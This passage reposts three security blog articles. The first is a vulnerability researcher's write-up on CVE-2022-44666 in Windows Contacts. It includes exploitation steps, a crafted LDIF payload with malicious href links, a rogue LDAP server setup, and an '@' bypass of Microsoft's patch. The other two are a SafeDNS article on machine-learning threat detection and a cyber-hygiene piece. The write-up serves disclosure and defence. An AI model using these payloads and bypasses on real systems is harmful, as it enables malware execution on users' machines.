  4. Start a webserver in the target app path, that is: ./further-pocs/[vector or target app]/[poc||remote-weaponized-by-searchms]/.

  5. Run poc/exploit files depending on the case.

  6. For further info, watch the videos located in ./videos:

Additionally, these are all the files for further exploitation:

Contact Files

After receiving Update 2022/07/21 from MSRC’s, i decided to take a look into Contact file extension as it would confirm whether or not it’s the same case as that found by the original discoverer, and of course it is. My first proof of concept was just using a different file format, but the bug is the same. Just using wabmig.exe located in “C:\Program Files\Windows Mail” is possible to convert all the VCF files to Contact files.

And as mentioned in the intro updates, these files are opened by Windows Contacts (default program).

The steps to reproduce are the same than those used for VCF files. Same restrictions observed on VCF files are applied with Contact files, that is, it’s not possible to use remote shared locations for the attribute “href” but it’s still possible to use local paths or url protocol “search-ms”.

These are all the files added or modified to exploit Contact files:

URL protocol LDAP

As mentioned above, this further research made me to reach a point that i was trying to reach some time ago: Use some URL protocol handler to automatically open crafted contact data to exploit the bug. This challenge was finally achieved thanks to ldap uri scheme.

...
Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\LDAP]
@="URL:LDAP Protocol"
"EditFlags"=hex:02,00,00,00
"URL Protocol"=""

[HKEY_CLASSES_ROOT\LDAP\Clsid]
@="{228D9A81-C302-11cf-9AA4-00AA004A5691}"

[HKEY_CLASSES_ROOT\LDAP\shell]

[HKEY_CLASSES_ROOT\LDAP\shell\open]

[HKEY_CLASSES_ROOT\LDAP\shell\open\command]
@=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,\
  00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,\
  4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,\
  00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00
...

That is:

"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"

So just setting a rogue LDAP server up and serving the payload data, it’s possible to use this url protocol handler to launch Windows Contacts (wab.exe) with a malicious payload in the ldif attributes mail, url or wwwhomepage. Note that i was unable to do this working on the attribute “wwwhomepage” as indicated here, but it should theorically work.

The crafted ldif content is just something like this:

...
dn: dc=org
dc: org
objectClass: dcObject

dn: dc=example,dc=org
dc: example
objectClass: dcObject
objectClass: organization

dn: ou=people,dc=example,dc=org
objectClass: organizationalUnit
ou: people

dn: cn=Microsoft,ou=people,dc=example,dc=org
cn: Microsoft
gn: Microsoft
company: Microsoft
title: Microsoft KB5001337-hotfix
mail:"></a><a href="..\hidden\payload.lnk">Run-installer...</a>
url:"></a><a href="..\hidden\payload.exe">Run-installer...</a>
wwwhomepage:"></a><a href="notepad">Run-installer...</a>
objectclass: top
objectclass: person
objectClass: inetOrgPerson
...

And the code for the rogue ldap server was taken borrowed from the quick start server of ldaptor project, located over here.

This is a summary of target applications:

  • Browsers: MS Edge, Google Chrome, Mozilla Firefox & Opera.

  • MS Word.

  • PDF Readers (mainly Adobe Acrobat Reader DC & Foxit PDF Reader).

The steps to reproduce are:

  1. Copy ./further-pocs into remote shared location (SMB or WebDav).

  2. If wanted, hide the files running ./further-pocs/MSWord/setup-hidden.bat.

  3. Install ldaptor by pip: pip install ldaptor. Note this has been tested on Python 2.7 x64.

  4. Start rogue ldap server located in ./further-pocs/ldap-rogue-server/ldap-server.py

  5. Start a webserver in the target app path, that is: ./further-pocs/[vector or target app]/url-protocol-ldap/.

  6. Run exploit files depending on the case.

  7. For further info, watch the videos located in ./videos

These are the additional files to exploit url protocol ldap:

CVE-2022-44666: Patch analysis and incomplete fix

On Dec 13, 2022 the patch for this vulnerability was released by Microsoft as CVE-2022-44666.

The versions used for diffing the patch (located in C:\Program Files\Common Files\System\wab32.dll) have been:

  • MD5: 588A3D68F89ABF1884BEB7267F274A8B (pre-patch)

  • MD5: D1708215AD2624E666AFD97D97720E81 (post-patch)

Diffing the affected library (wab32.dll) with Diaphora by @matalaz, we’ll find out some new functions:

And these are the partial matches:

Taking a look into the new code in function “fnSummaryProc”:

__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{

...

    if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) )  // (1)
    {
      v38 = (unsigned __int16 *)2085;
      v39 = &CPercentEncodeRFC3986::`vftable';
      v40 = v23;
      v41 = v26;
      v28 = CPercentEncodeString::Encode(
              (CPercentEncodeString *)&v39,
              (unsigned __int16 *)&Dst,
              (unsigned __int64 *)&v38,
              v25);
      v29 = v7;
      if ( !v28 )
      {
        v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
        SafeExecute(v29, v24, v30);  // (2)
        return 1i64;
      }
    }
    else
    {
      if ( v23 )
        v32 = IsInternetAddress(v23, &v38);
      else
        v32 = 0;
      v29 = v7;
      if ( v32 )
      {
        v30 = v23;
        goto LABEL_44; // (3)
      }
    }
    v31 = GetParent(v29);
    ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
    return 1i64;
  }
  ...
}

After the fix, the new code calls to the function “SafeExecute” (2) or show a message box (4).

To reach the call of the function “SafeExecute” (2) is possible to follow the code flow in (1):

_BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn)
{
  const WCHAR *v1; // rbx
  _BOOL8 result; // rax
  DWORD pcchOut; // [rsp+30h] [rbp-68h]
  char Dst; // [rsp+40h] [rbp-58h]

  v1 = pszIn;
  result = 0;
  if ( UrlIsW(pszIn, URLIS_URL) ) // (5)
  {
    memset_0(&Dst, 0, 0x40ui64);
    pcchOut = 32;
    if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0
      && (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) )  // (6)
    {
      result = 1;
    }
  }
  return result;
}

This function first checks if the URL is valid in (5), then, it checks whether or not it starts with “http” or “https” in (6). This code path looks safe enough. Coming back to the function “fnSummaryProc”, there’s another code path that could help to bypass the fix in (3).

__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
  unsigned __int16 v2; // ax
  unsigned __int16 **v3; // r14
  unsigned __int16 *v4; // rdi
  unsigned __int16 *v5; // r15
  unsigned __int16 v6; // dx
  unsigned __int16 *v7; // r8
  unsigned __int16 *v8; // rcx
  WCHAR v9; // ax
  _WORD *v10; // rsi
  int v11; // ebp
  LPWSTR v12; // rax
  unsigned __int16 *v14; // rax

  v2 = *a1;
  v3 = a2;
  v4 = a1;
  v5 = a1;
  while ( v2 && v2 != 0x3C )
  {
    a1 = CharNextW(a1);
    v2 = *a1;
  }
  v6 = *a1;
  v7 = a1;
  if ( *a1 )
  {
    v8 = a1 + 1;
    v4 = v8;
  }
  else
  {
    v8 = v4;
  }
  v9 = *v8;
  v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
  v11 = v6 != 0;
  if ( *v8 & 0xFFBF )
  {
    while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
    {
      if ( v9 == 0x40 )  // (7)
      {
        v14 = CharNextW(v8);
        if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) )  // (8)
          return 0i64;
        if ( v3 )
        {
          if ( v10 )
          {
            *v10 = 0;
            TrimSpaces(v5);
          }
          *v3 = v4;
        }
        return 1i64;
      }
      v12 = CharNextW(v8);
      v8 = v12;
      v9 = *v12;
      if ( !v9 )
        return 0i64;
    }
  }
  return 0i64;
}

One thing caught my attention about this in (7), where the code is checking whether it exists a char “@”. Then, it calls to the function “IsDomainName” in order to check whether or not the string after the char “@” is a domain name:

__int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3)
{
  int v3; // edi
  int v4; // ebx
  int v5; // er9
  __int64 v6; // rdx

  v3 = a3;
  v4 = a2;
  if ( !a1 )
    return 0i64;
LABEL_2:
  v5 = *a1;
  if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E )
    return 0i64;
  while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) )
  {
    if ( (unsigned __int16)v5 >= 0x80u )
      return 0i64;
    if ( (unsigned __int16)(v5 - 10) <= 0x36u )
    {
      v6 = 19140298416324617i64;
      if ( _bittest64(&v6, (unsigned int)(v5 - 10)) )
        return 0i64;
    }
    if ( (_WORD)v5 == 46 )
    {
      a1 = CharNextW(a1);
      if ( a1 )
        goto LABEL_2;
      return 0i64;
    }
    a1 = CharNextW(a1);
    v5 = *a1;
  }
  if ( v4 )
  {
    if ( (_WORD)v5 != 0x3E )
      return 0i64;
    if ( v3 )
      *a1 = 0;
  }
  return 1i64;
}

So the bypass for the fix is pretty simple. It’s just necessary to use a single char “@”. Symlink href attributes like these will successfully bypass the fix:

hidden\@payload.lnk
hidden\@payload.exe
hidden@payload.lnk
hidden@payload.exe

For further info, there’s a video for a standalone contact file.

Proof of concept located in ./bypass/report-pocs.

And another one for MS Word and LDAP url protocol.

Proof of concept located in ./bypass/further-pocs.

One day later the patch release, this information was sent to MSRC. Unfortunately, the case has been recently closed with no further info about it.

Diagcab file as payload

After CVE-2022-30190 also known as Follina vulnerability and CVE-2022-34713 also known as DogWalk vulnerability, a publicly known but underrated technique was reborn again thanks to @buffaloverflow. My mate and friend Eduardo Braun Prado gave me the idea to use this technique over here.

There are some pre-requirements to do this:

  1. The target user has to belong to administrator group. If not, there’s a UAC prompt.

  2. The diagcab file has to be signed, so the codesigning certificate must have been installed in the target computer.

A real attack scenario would pass for stealing a code signing certificate which is in fact installed in the target system. But as this is just a proof of concept, a self-signed code signing certificate was generated and used to sign the diagcab file named as @payload.diagcab.

So in order to repro, it’s needed to install the certificate located in cert.cer under Trusted Root Certificate Authority like this:

To finally elevate the priveleges, a token stealing/impersonation could be used. In this case, “parent process” technique was the chosen one. A modified version for this script was included inside the resolver scripts.

For further info, there’s a video for MS Word and LDAP url protocol.

Proof of concept located in ./bypass/diagcab-pocs.

JAR files as payload

Update 2023/06/19: After reading @pfiatde‘s post on “ZipJar”, this interesting information makes JAR files a good candidate to be used as payload in this vulnerability, which by the way it is still 0day nowadays, as the MotW gets ignored, doesn’t require accepting any prompt.

JAR payload was taken from github repository calc_security_poc.

There you go attached a little builder, create-poc.py to make your own POC from some template.

Don’t forget give the thanks to @microlovu and @mlftsecresponse. 😂

Proposed fix

Remember the vulnerable code in the function “fnSummaryProc”:

...
LABEL_44:
        SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute
        return 1i64;
      }
    }
    else
    {
      if ( v23 )
        v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@"
      else
        v32 = 0;
      v29 = v7;
      if ( v32 )
      {
        v30 = v23;
        goto LABEL_44;
      }
    }
...

The function “IsInternetAddress” was intentionally created to check if the href attr corresponds to any email address. So my proposed fix (and following the imported functions that the library uses) would be:

...
      if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:"
      {
          v30 = v23;
          goto LABEL_44;
      }
...

So simple like this, it’s only needed to check this out before calling to “SafeExecute”. Just testing if the target string (v23) starts with “mailto:”, the bug would be fully fixed IMHO.

Unofficial fix

Some days/weeks ago when i contacted @mkolsek of 0patch to inform him about this issue, who by the way is always very kind to me, told me this has been receiving an unofficial fix for Windows 7 since then (4 years ago). That was a surprise and good news!

It was tested and successfully stopped the new variant of CVE-2022-44666. The micropatch prepends “http://&#8221; to the attacker-controlled string passed by the href attr if doesn’t start with “mailto:”, “http://&#8221; or “https://&#8221;, which is enough to fully fix the issue. Now it’s going to be extended for the latest Windows versions, only necessary to update some offsets.

Either way, it would be better to get an official patch.

Acknowledgments

By @j00sean

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About VRX
VRX is a consolidated vulnerability management platform that protects assets in real time. Its rich, integrated features efficiently pinpoint and remediate the largest risks to your cyber infrastructure. Resolve the most pressing threats with efficient automation features and precise contextual analysis.

Machine Learning Cybersecurity: Harnessing the Power of ML to Safeguard Against Threats

SafeDNS processes several billion requests every day, and our database is updated with new websites on a daily basis. By using DNS filtering, we make sure that even if a user clicks on a phishing link, they will be redirected to a blockpage instead of a malicious resource.

We strive to make our service reliable and high-quality. The SafeDNS machine learning department employs various machine learning algorithms to verify and categorize domains. To ensure stable and high-quality filtering, we employ different approaches and utilize our own and third-party databases.

In this article, we will discuss the basic methods of threat detection, that allow us to handle the majority of cyber threats.

Detecting a domain that is not in our database with artificial intelligence

When you click on a link that is not in our database, our system launches a series of machine learning models for checks.

If we have not encountered the existing domain before, the user will be redirected to a blockpage and the domain itself will be “quarantined” until it is assigned a category. The page content is then scanned.

Based on this scan and a series of additional checks, the website is assigned a specific category. On the SafeDNS website, you can verify a link before clicking on it.

When the category is known, the system acts according to established rules, either blocking access or allowing the user to visit the website.

Parked Domains

A parked domain is a domain that is listed for sale. This means that the webpage associated with it either has minimal or no content because it is, for example, under development or will soon be transferred to another owner.

In addition to cross-checking other sources, the ML department monitors the NS (Name Server) addresses of most registrars. Parked domains are often gathered on separate NS servers, and we have the addresses of most of these servers. During domain analysis we look at where it is resolved, and if it is resolved to a dedicated NS server for parked domains, we assume it is a parked domain and assign it a corresponding category.

The threat posed by parked domains is that they can be acquired by malicious actors at any time and used to distribute malware or control botnets. Therefore, they should always be closely monitored.

Our algorithm regularly checks parked domains for content. If malicious content is detected on a website, it will immediately be categorized accordingly and blocked upon attempted access. The website can be assigned any other category based on its content.

Phishing

Phishing is a form of fraud in which a malicious actor attempts to obtain confidential information, such as login credentials or account data, by impersonating a reputable person or entity through email or other communication channels. According to the Forbes phishing is one of the most prevalent types of cybercrimes with over 500 million phishing attacks reported in 2022. For perspective, that’s over double the number of reported attacks in 2021.

The messages may appear similar to the ones you have received before. It could be an email from a bank, a ticket aggregator, or a notification from a social network. The message contains malware designed to infiltrate the user’s computer or a link to malicious websites to deceive and obtain account or credit card information.

Phishing is popular among attackers because it is easier to deceive someone into clicking on a malicious link that appears genuine than to try to breach computer security systems. Attackers disguise their messages to resemble content from various companies using logos and slightly altered phishing links that may differ from the original by just one letter. For example, “gogle.com” or “facebook.me.” Knowing that users may already be suspicious of such links, the malicious link may be embedded in a button, making the actual address invisible at first glance. However, in such cases the malicious resource will still be blocked. If you are reluctant to click on a link, you can copy the link address and verify it using our verification service.

Phishing links can be detected using ai and machine learning methods and natural language processing. The first step is to check for typosquatting.

There are known methods for creating phishing domain names that resemble legitimate ones but are actually different. This is called typosquatting. Typosquatting occurs when fraudsters intentionally use typos or similar characters to create domain names that look almost identical to the genuine ones.

Some typosquatting techniques include skipping, repeating, adding, or rearranging characters in the domain name. They may also substitute characters with visually similar but distinct characters or use characters located near each other on the keyboard.

To detect typosquatting-based phishing domain names, analysis of the web address and domain name is conducted. Specific patterns characteristic of fraudulent web addresses are sought. This approach allows for quick domain name checks without the need to load the content of the web page.

As a baseline method for detection, we use the Levenshtein distance. It is more likely for scammers to impersonate a domain associated with a well-known brand rather than a niche company. We take a comparison base of the top most popular domains, totaling around a million. We use a metric that measures the absolute difference between two character sequences. It is defined as the minimum number of single-character operations required to transform one character sequence into another.

We establish a threshold value for this distance. Then, we analyze the incoming domain name by calculating the distance to the original names. The smaller the distance, the more similar the domains are, indicating a higher likelihood of phishing.

In the example of Facebook.com and Facebok.com, the Levenshtein distance is 1. In comparison to the original, it would be 0.

The second stage involves checking other indicators such as domain age, external sources, content analysis, and more. When a combination of factors suggests the site is a phishing one, it is categorized accordingly, and the user will see a blockpage when attempting to access it. Knowing that a specific domain name belongs to the phishing category, all pages of that site will also be blocked.

Ransomware

Ransomware (or a ransomware program) is a type of malware that prevents or restricts users’ access to their system by either blocking the system screen or blocking users’ files until a ransom is paid. As in the case of phishing, when using our service, the user will not be able to click on the link where the ransomware program is located if this site is in our categorization database. It should be noted that attacks using ransomware can be large-scale. If the company and ransom amount are big, the attackers will carefully prepare for the attack taking into account the specifics of the security systems of said company. This is why we strongly recommend applying a set of cybersecurity measured and regularly conducting trainings with employees.

We need to mention that the volume of ransomware attacks dropped 23% in 2022 compared to the previous year. However, the nature of the attacks has changed and they have become more effective.

Botnets

A botnet is a network of compromised computers infected with malicious software. Cybercriminals use botnet networks consisting of a large number of devices for various malicious activities without the users’ knowledge.

Here’s how our system works in dealing with botnets:

  • We analyze user traffic and look for requests to known botnets.
  • If connections to command-and-control servers or infected nodes are detected, we consider the traffic from that user/device suspicious.
  • We identify unknown domains in the traffic, which also fall under suspicion by default.
  • The remaining domains are categorized as botnets, and attempts to access such websites are blocked.

In addition, SafeDNS monitors the volume of requests from users. If we observe sudden spikes in network traffic, network administrators will receive notifications about suspicious traffic growth.

In Q1 2023, attacks witnessed a significant 47% surge compared to the same period in the previous year. This rise was accompanied by a shift towards botnet utilization and an increasing prevalence of smokescreening techniques to conceal multi-vector incidents. Notably, the use of attacks as decoys rose by 28% in comparison to Q1 2022.

DGA

DGA stands for Domain Generation Algorithms. These are algorithms found in various families of malicious software that are used to periodically generate a large number of domain names that can be used as rendezvous points with their command and control servers.

SafeDNS also tracks this category. The detection process is somewhat similar to typosquatting detection. We analyze the domain name by breaking it down into n-grams and compare how closely they match the pool of n-grams from known valid and “white” sites. We also use a range of other parameters for verification. In all cases, the age of the domain plays an important role in our assessment and trust in it.

In this category, there is a risk of blocking technical domains because their names are often generated randomly. To avoid this situation, we additionally check the content on the page before assigning it to a specific category. The age of the created domain is also taken into account. The younger it is, the higher the likelihood that it is a DGA-generated domain.

Cryptojacking

Сryptojacking is a type of cybercrime where a criminal secretly uses a victim’s computing power to generate cryptocurrency. Over the past years, there has been a sharp increase in cryptojacking cases. In the SonicWall Cyber Threat Report for 2023, researchers from SonicWall Capture Labs reported a 43% increase in cryptojacking attempts compared to the previous year, 2022.

Cryptojacking can remain unnoticed for a long time, as it often targets IoT devices, many of which are easily compromised due to the use of unprotected public networks.

If traffic to cryptojacking-related domains is detected, such traffic is blocked, and all unfamiliar domains are added to the database for verification.

Conclusion

All the threats described above as a rule exhibit fairly typical patterns of cyber attacks. For more targeted threats, we have the Passive DNS service, which helps cybersecurity specialists draw conclusions about potential threats.

We store and gather a history of domain changes, as well as the information about the IP address a particular domain belongs to, along with other relevant information. Based on this, we establish connections between nodes in the global network.

When a new domain enters our database, we compare its registered IP address, connections, and patterns with those in our database. If we see that the IP address has already been compromised (associated with or previously owned malicious domains), all other domains from that IP will be added to the “suspicious” website database and checked for malicious content.

Passive DNS historical data also enables security teams to identify patterns of malicious activity, detect phishing attacks, and other targeted threats.

Passive DNS helps identify patterns and enables predictive analysis for attack detection. At first glance, you can discover useful information about a domain. For example, you can view the date of the A record modification and identify changes in the A record.

The domain database is enriched from several dozen external sources, with cross-checks of data. The database is also replenished from daily user traffic. We constantly seek new sources of information in the field of child protection and cybersecurity and actively collaborate with data scientists, government regulators, safe internet associations, and technology companies.

It is worth mentioning that we actively collaborate with government organizations in the field of child protection. We implement lists from IWF (UK), BPjM (Germany), ARAHNID (Canada), CTIRU, as well as data from over 100 private and government organizations. We help companies comply with legal requirements and regulations.

The use of DNS filtering is recommended by the CISA. It serves as the first and effective layer of protection for your company’s network against malicious resources. Using DNS filtering in addition to other cybersecurity solutions significantly reduces the risks of data leaks and cyberattacks.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About SafeDNS
SafeDNS breathes to make the internet safer for people all over the world with solutions ranging from AI & ML-powered web filtering, cybersecurity to threat intelligence. Moreover, we strive to create the next generation of safer and more affordable web filtering products. Endlessly working to improve our users’ online protection, SafeDNS has also launched an innovative system powered by continuous machine learning and user behavior analytics to detect botnets and malicious websites.

Cyber Hygiene: Preventing Data Breaches

Since the Covid pandemic began, the word “hygiene” has ceased to be only for germaphobes and has become the holy grail of health.

Washing hands and wearing masks has become as normal as breathing (literally).

But did you know that your computer systems also need some love and hygienic attention?

That’s right! 

Cyber hygiene is the new mantra to keep your data and networks healthy and safe from cyberattacks.

So, get ready to discover the 7 best practices that will help you keep your organization safe from cyber chaos. Because if your net fails, there is no disinfectant to save you.

Cyber hygiene keys to protect your data

1) Monitor and control your inventory as if you were Big Brother!

If you don’t know what you have, then you have no idea what you’re protecting.

To make sure your data is safer than Fort Knox, you need to keep a watchful eye on all the junk and software in your company.

Yes, even those devices brought by your enthusiastic employee on “Bring Your Own Device Day.”

Document everything from the software they use to the color of the cables.

If you detect suspicious software, sound the alarm and make sure to keep track of every hardware failure.

Don’t give cyber villains a break!

2) Don’t be a slacker, patch that software at once!

Did you know that outdated software is the “winter refuge” of cybercriminals?

According to a study (totally scientific, of course) conducted by the Ponemon Institute in 2020, 42% of data breaches were caused by the laziness of not applying available patches.

Hackers are out there looking for outdated software to sneak into your network.

Don’t welcome them!

You need a process that reviews and updates all your software in the background, without upsetting your brave end users.

3) Back up, don’t be a (data) loser!

Losing data is as painful as breaking a mirror with your head while an umbrella opens from your mouth (seven years of bad luck included).

Not only can users unintentionally delete files, there are also hardware issues, power outages, and those ruthless malware attacks.

Ransomware, for example, is like virtual hijacking, they ask you for ransom for your data! Save your company time, money and tears by making regular backups.

Automate the whole process to avoid human error and maintain a backup program with the precision of a Swiss watch!

4) Do not give permissions to anyone, be fussier than your father with culinary innovations!

Humans are the cause of 95% of cybersecurity problems, according to the prestigious “Obviously” World Institute.

So, if you don’t want your network to be as safe as an unlocked door, you need to carefully control who has access to what.
Manage user permissions as if you were a guardian of Death Star 4 who does not want the slaughter of 1, 2, and 3* to be repeated.

But wait, assigning permissions manually is a slow and boring process. Instead, use an IT management solution that does all the dirty work for you and automatically assigns usage rights.

*Yes, there is a third in the last Star Wars trilogy.

5) Say goodbye to “123456” and welcome strong passwords!

According to a (very scientific) survey conducted by Google in 2019, 65% of users use the same password for everything.

Even IT professionals are to blame for this digital laziness!

Do you want hackers to crash your network? Of course not.

Raise awareness among users about strong passwords and the importance of changing them regularly.

But come on, let’s face it, nobody likes to rack their brains thinking about complicated passwords and then forgetting them instantly. Use a password manager to automatically generate strong passwords and store them in an encrypted database.

6) Multi-Factor authentication for hackers to cry virtual tears!

Passwords are actually like play dough locks in the digital age, easy to open for evil hackers!

So don’t just rely on them to protect your data. Implement Multi-Factor Authentication (MFA) and make hackers rip off virtual hairs of frustration.

Ask users to verify their identity through different factors, such as one-time passwords sent by text or email, personal security questions, or even facial recognition.

Make hackers feel it’s easier to climb mount Everest with a pressure cooker on your head heating lentils than it is to get into your network!

7) Don’t play Russian cyber roulette, use a cybersecurity solution!

There are many cybersecurity options out there, but here are a few key points to consider:

Find a solution that can detect known and unknown threats. In addition, you need a solution that can automatically repair any infection and clean up any traces of malware. Make sure it’s compatible with all your devices and operating systems, because you don’t want to leave anyone unprotected. And of course, make sure it’s lightweight and doesn’t slow down your devices.

Conclusions

If you want to save time and effort, consider adopting a cybersecurity framework.

Rely on the collective wisdom of thousands of professionals and let their expertise guide you in implementing a robust cybersecurity program.

Because honestly, who has the time to reinvent the wheel of cybersecurity?

Remember, maintaining proper cyber hygiene does as much good as washing your hands after you’ve helped give birth to a cow in the herd.

So, follow these 7 golden keys and keep cybercriminals at bay.

Don’t let them infect you with the cybernetic neglect virus.

Your network and data will thank you! 


Dimas P.L., de la lejana y exótica Vega Baja, CasiMurcia, periodista, redactor, taumaturgo del contenido y campeón de espantar palomas en los parques. Actualmente resido en Madrid donde trabajo como paladín de la comunicación en Pandora FMS y periodista freelance cultural en cualquier medio que se ofrezca. También me vuelvo loco escribiendo y recitando por los círculos poéticos más profundos y oscuros de la ciudad.

Dimas P.L., from the distant and exotic Vega Baja, CasiMurcia, journalist, editor, thaumaturgist of content and champion of scaring pigeons in parks. I currently live in Madrid where I work as a communication champion in Pandora FMS and as a freelance cultural journalist in any media offered. I also go crazy writing and reciting in the deepest and darkest poetic circles of the city.

About Version 2 Digital

Version 2 Digital is one of the most dynamic IT companies in Asia. The company distributes a wide range of IT products across various areas including cyber security, cloud, data protection, end points, infrastructures, system monitoring, storage, networking, business productivity and communication products.

Through an extensive network of channels, point of sales, resellers, and partnership companies, Version 2 offers quality products and services which are highly acclaimed in the market. Its customers cover a wide spectrum which include Global 1000 enterprises, regional listed companies, different vertical industries, public utilities, Government, a vast number of successful SMEs, and consumers in various Asian cities.

About PandoraFMS
Pandora FMS is a flexible monitoring system, capable of monitoring devices, infrastructures, applications, services and business processes.
Of course, one of the things that Pandora FMS can control is the hard disks of your computers.

Need help? Our team is just a message away